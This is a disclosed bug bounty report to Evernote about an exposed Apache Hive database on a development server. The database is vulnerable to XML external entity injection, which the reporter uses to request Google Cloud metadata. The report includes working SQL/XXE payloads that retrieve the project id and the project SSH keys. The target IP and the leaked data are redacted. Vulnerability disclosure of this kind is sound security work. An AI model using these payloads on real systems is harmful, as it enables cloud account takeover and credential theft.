Evernote · Report #742808
Non-production Open Database In Combination With XXE Leads To SSRF
Summary
Due to a misconfigured database, it was possible to access Evernote's Google Cloud account which had access permissions to the Google Cloud products BigQuery, BigTable and Google Cloud Storage. Hence, the severity is critical. The report is out of scope for the BBP program as it's on Evernote's developer environment instead of the production one.
How it was found
Summary:
The Apache Hive database hosted on the IP ██████████ and open on port 10000 is open and vulnerable to XXE. By "open", I mean that the database can be accessed by anyone.
Steps To Reproduce:
Chose any database client that supports Apache Hive and also uses a specific client version. "Specific client version" because you will otherwise get an error which looks like this:
13:22:26.077 [main] ERROR org.apache.hive.jdbc.HiveConnection - Error opening session
org.apache.hive.org.apache.thrift.TApplicationException: Required field 'client_protocol' is unset! Struct:TOpenSessionReq(client_protocol:null, configuration:{set:hiveconf:hive.server2.thrift.resultset.default.fetch.size=1000, use:database=default})
- Chose a database client and connect to mentioned IP and port
- Execute the following SQL payload:
select xpath_string('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1beta1/project/project-id"> ]><stockCheck>&xxe;</stockCheck>', '*') FROM test LIMIT 5;
The query above will return the associated project id which is "en-development".
Supporting Material/References:
I will list some interesting information that I queried below.
Query
select xpath_string('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys"> ]><stockCheck>&xxe;</stockCheck>', '*') FROM test LIMIT 5;
Response
████
█████
██████████
█████████
██████
██████████
██████
████████
████
████
████████
███████
█████████
███████
██████
█████
███
███
████
████████
██████
█████████
███████
██████████
█████████
████
█████████
████
██████████
█████
██████████
█████
████████
██████████
██████
██████████
█████
█████
██████
██████████
█████
███
████
Impact
Access to the GCP project via the Google Cloud metadata endpoint which leads to access to at least the Google Cloud storage buckets and Google Cloud BigTable/BigQuery.